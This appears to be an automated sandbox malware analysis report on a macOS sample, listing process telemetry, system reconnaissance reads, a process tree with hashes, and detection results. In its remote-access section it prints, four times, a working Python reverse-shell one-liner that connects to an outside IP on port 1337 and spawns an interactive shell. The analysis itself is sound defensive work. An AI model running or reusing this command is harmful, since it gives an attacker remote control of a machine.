Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.279 -> queries PID 279	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.278 -> queries PID 278	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.277 -> queries PID 277	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.276 -> queries PID 276	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.275 -> queries PID 275	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.274 -> queries PID 274	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.273 -> queries PID 273	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.272 -> queries PID 272	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.271 -> queries PID 271	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.269 -> queries PID 269	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.268 -> queries PID 268	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.267 -> queries PID 267	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.266 -> queries PID 266	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.265 -> queries PID 265	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.264 -> queries PID 264	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.263 -> queries PID 263	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.262 -> queries PID 262	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.261 -> queries PID 261	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.260 -> queries PID 260	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.259 -> queries PID 259	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.258 -> queries PID 258	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.257 -> queries PID 257	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.256 -> queries PID 256	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.255 -> queries PID 255	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.253 -> queries PID 253	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.251 -> queries PID 251	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.250 -> queries PID 250	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.249 -> queries PID 249	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.248 -> queries PID 248	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.246 -> queries PID 246	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.245 -> queries PID 245	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.237 -> queries PID 237	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.235 -> queries PID 235	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.234 -> queries PID 234	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.231 -> queries PID 231	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.230 -> queries PID 230	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.228 -> queries PID 228	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.225 -> queries PID 225	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.222 -> queries PID 222	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.215 -> queries PID 215	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.214 -> queries PID 214	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.213 -> queries PID 213	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.212 -> queries PID 212	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.209 -> queries PID 209	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.208 -> queries PID 208	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.206 -> queries PID 206	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.205 -> queries PID 205	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.204 -> queries PID 204	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.203 -> queries PID 203	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.201 -> queries PID 201	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.200 -> queries PID 200	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.199 -> queries PID 199	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.197 -> queries PID 197	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.196 -> queries PID 196	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.195 -> queries PID 195	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.193 -> queries PID 193	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.192 -> queries PID 192	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.191 -> queries PID 191	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.190 -> queries PID 190	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.189 -> queries PID 189	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.188 -> queries PID 188	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.179 -> queries PID 179	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.175 -> queries PID 175	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.171 -> queries PID 171	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.170 -> queries PID 170	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.167 -> queries PID 167	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.161 -> queries PID 161	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.160 -> queries PID 160	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.158 -> queries PID 158	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.156 -> queries PID 156	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.155 -> queries PID 155	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.153 -> queries PID 153	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.151 -> queries PID 151	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.121 -> queries PID 121	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.120 -> queries PID 120	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.119 -> queries PID 119	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.118 -> queries PID 118	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.114 -> queries PID 114	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.113 -> queries PID 113	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.112 -> queries PID 112	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.111 -> queries PID 111	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.110 -> queries PID 110	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.109 -> queries PID 109	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.108 -> queries PID 108	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.106 -> queries PID 106	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.105 -> queries PID 105	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.104 -> queries PID 104	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.103 -> queries PID 103	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.101 -> queries PID 101	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.98 -> queries PID 98	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.97 -> queries PID 97	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.95 -> queries PID 95	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.94 -> queries PID 94	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.93 -> queries PID 93	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.92 -> queries PID 92	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.91 -> queries PID 91	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.90 -> queries PID 90	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.89 -> queries PID 89	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.87 -> queries PID 87	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.84 -> queries PID 84	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.83 -> queries PID 83	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.81 -> queries PID 81	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.80 -> queries PID 80	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.79 -> queries PID 79	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.74 -> queries PID 74	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.73 -> queries PID 73	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.70 -> queries PID 70	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.69 -> queries PID 69	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.67 -> queries PID 67	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.66 -> queries PID 66	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.65 -> queries PID 65	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.64 -> queries PID 64	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.62 -> queries PID 62	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.60 -> queries PID 60	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.58 -> queries PID 58	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.57 -> queries PID 57	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.56 -> queries PID 56	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.54 -> queries PID 54	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.53 -> queries PID 53	Jump to behavior
Source: /bin/ps (PID: 558)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.1 -> queries PID 1	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.558 -> queries PID 558	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.552 -> queries PID 552	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.549 -> queries PID 549	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.547 -> queries PID 547	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.543 -> queries PID 543	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.541 -> queries PID 541	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.540 -> queries PID 540	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.515 -> queries PID 515	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.513 -> queries PID 513	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.512 -> queries PID 512	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.510 -> queries PID 510	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.509 -> queries PID 509	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.473 -> queries PID 473	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.465 -> queries PID 465	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.456 -> queries PID 456	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.430 -> queries PID 430	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.429 -> queries PID 429	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.428 -> queries PID 428	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.427 -> queries PID 427	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.426 -> queries PID 426	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.425 -> queries PID 425	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.424 -> queries PID 424	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.419 -> queries PID 419	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.418 -> queries PID 418	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.414 -> queries PID 414	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.402 -> queries PID 402	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.399 -> queries PID 399	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.398 -> queries PID 398	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.397 -> queries PID 397	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.396 -> queries PID 396	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.395 -> queries PID 395	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.393 -> queries PID 393	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.392 -> queries PID 392	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.391 -> queries PID 391	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.388 -> queries PID 388	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.384 -> queries PID 384	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.383 -> queries PID 383	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.382 -> queries PID 382	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.381 -> queries PID 381	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.378 -> queries PID 378	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.377 -> queries PID 377	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.375 -> queries PID 375	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.373 -> queries PID 373	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.372 -> queries PID 372	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.371 -> queries PID 371	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.370 -> queries PID 370	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.366 -> queries PID 366	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.365 -> queries PID 365	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.364 -> queries PID 364	Jump to behavior
Source: /bin/ps (PID: 561)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.363 -> queries PID 363	Jump to behavior

Reads the systems OS release and/or type

Show sources

Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 552)

Sysctl requested: kern.osrelease (1.2)

Jump to behavior

Reads the systems hostname

Show sources

Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 552)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /usr/bin/sudo (PID: 553)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 555)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /usr/bin/sudo (PID: 556)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 558)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /usr/bin/sudo (PID: 559)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 561)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /usr/bin/sudo (PID: 562)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 564)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /usr/bin/sudo (PID: 565)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 567)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /usr/bin/sudo (PID: 568)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 571)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /var/root/script.sh (PID: 570)	Sysctl requested: kern.hostname (1.10)	Jump to behavior

Reads the system or server version plist file

Show sources

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 572)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 572)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 574)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 574)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior

Remote Access Functionality:

Creates a reverse shell via Python

Show sources

Source: /usr/bin/python	Python command: python -c import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('185.243.115.230',1337)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i'])	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python	Python command: python -c import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('185.243.115.230',1337)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i'])	Jump to behavior
Source: /usr/bin/python	Python command: python -c import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('185.243.115.230',1337)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i'])	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python	Python command: python -c import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('185.243.115.230',1337)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i'])	Jump to behavior

Writes files containing IP addresses of contacted hosts (e.g. command and control server)

Show sources

Source: global traffic and dropped files

IP 185.243.115.230 found in file: /private/tmp/script.sh

Jump to dropped file

Runtime Messages

Command:	/Users/henry/Desktop/g70Ei8kMg7
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Shell
Is malicious

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Screenshots

Startup

system is mac1

mono-sgen32 (PID: 552 PPID: 505 MD5: 8910349f44a940d8d79318367855b236)

g70Ei8kMg7 (PID: 552 PPID: 505 Overlayed Process Image: mono-sgen32 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

g70Ei8kMg7 (PID: 553 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sudo (PID: 553 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 60ac5909d06d86e22aace3a863b13690)

sudo (PID: 554 PPID: 553 MD5: 60ac5909d06d86e22aace3a863b13690)

chown (PID: 554 PPID: 553 Overlayed Process Image: sudo MD5: cc600d309dc91e491f52c51e0b1821ec)

g70Ei8kMg7 (PID: 555 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sh (PID: 555 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 8aa60b22a5d30418a002b340989384dc)

ps (PID: 555 PPID: 552 Overlayed Process Image: sh MD5: 792e18b1417ac1f184680d2423206e4f)

g70Ei8kMg7 (PID: 556 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sudo (PID: 556 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 60ac5909d06d86e22aace3a863b13690)

sudo (PID: 557 PPID: 556 MD5: 60ac5909d06d86e22aace3a863b13690)

chmod (PID: 557 PPID: 556 Overlayed Process Image: sudo MD5: 30e3e10a3e7ad9adfd37662b2e9b4f8a)

g70Ei8kMg7 (PID: 558 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sh (PID: 558 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 8aa60b22a5d30418a002b340989384dc)

ps (PID: 558 PPID: 552 Overlayed Process Image: sh MD5: 792e18b1417ac1f184680d2423206e4f)

g70Ei8kMg7 (PID: 559 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sudo (PID: 559 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 60ac5909d06d86e22aace3a863b13690)

sudo (PID: 560 PPID: 559 MD5: 60ac5909d06d86e22aace3a863b13690)

mv (PID: 560 PPID: 559 Overlayed Process Image: sudo MD5: 7f791dd4bef08d618fece911d6e3398a)

g70Ei8kMg7 (PID: 561 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sh (PID: 561 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 8aa60b22a5d30418a002b340989384dc)

ps (PID: 561 PPID: 552 Overlayed Process Image: sh MD5: 792e18b1417ac1f184680d2423206e4f)

g70Ei8kMg7 (PID: 562 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sudo (PID: 562 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 60ac5909d06d86e22aace3a863b13690)

sudo (PID: 563 PPID: 562 MD5: 60ac5909d06d86e22aace3a863b13690)

mv (PID: 563 PPID: 562 Overlayed Process Image: sudo MD5: 7f791dd4bef08d618fece911d6e3398a)

g70Ei8kMg7 (PID: 564 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sh (PID: 564 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 8aa60b22a5d30418a002b340989384dc)

ps (PID: 564 PPID: 552 Overlayed Process Image: sh MD5: 792e18b1417ac1f184680d2423206e4f)

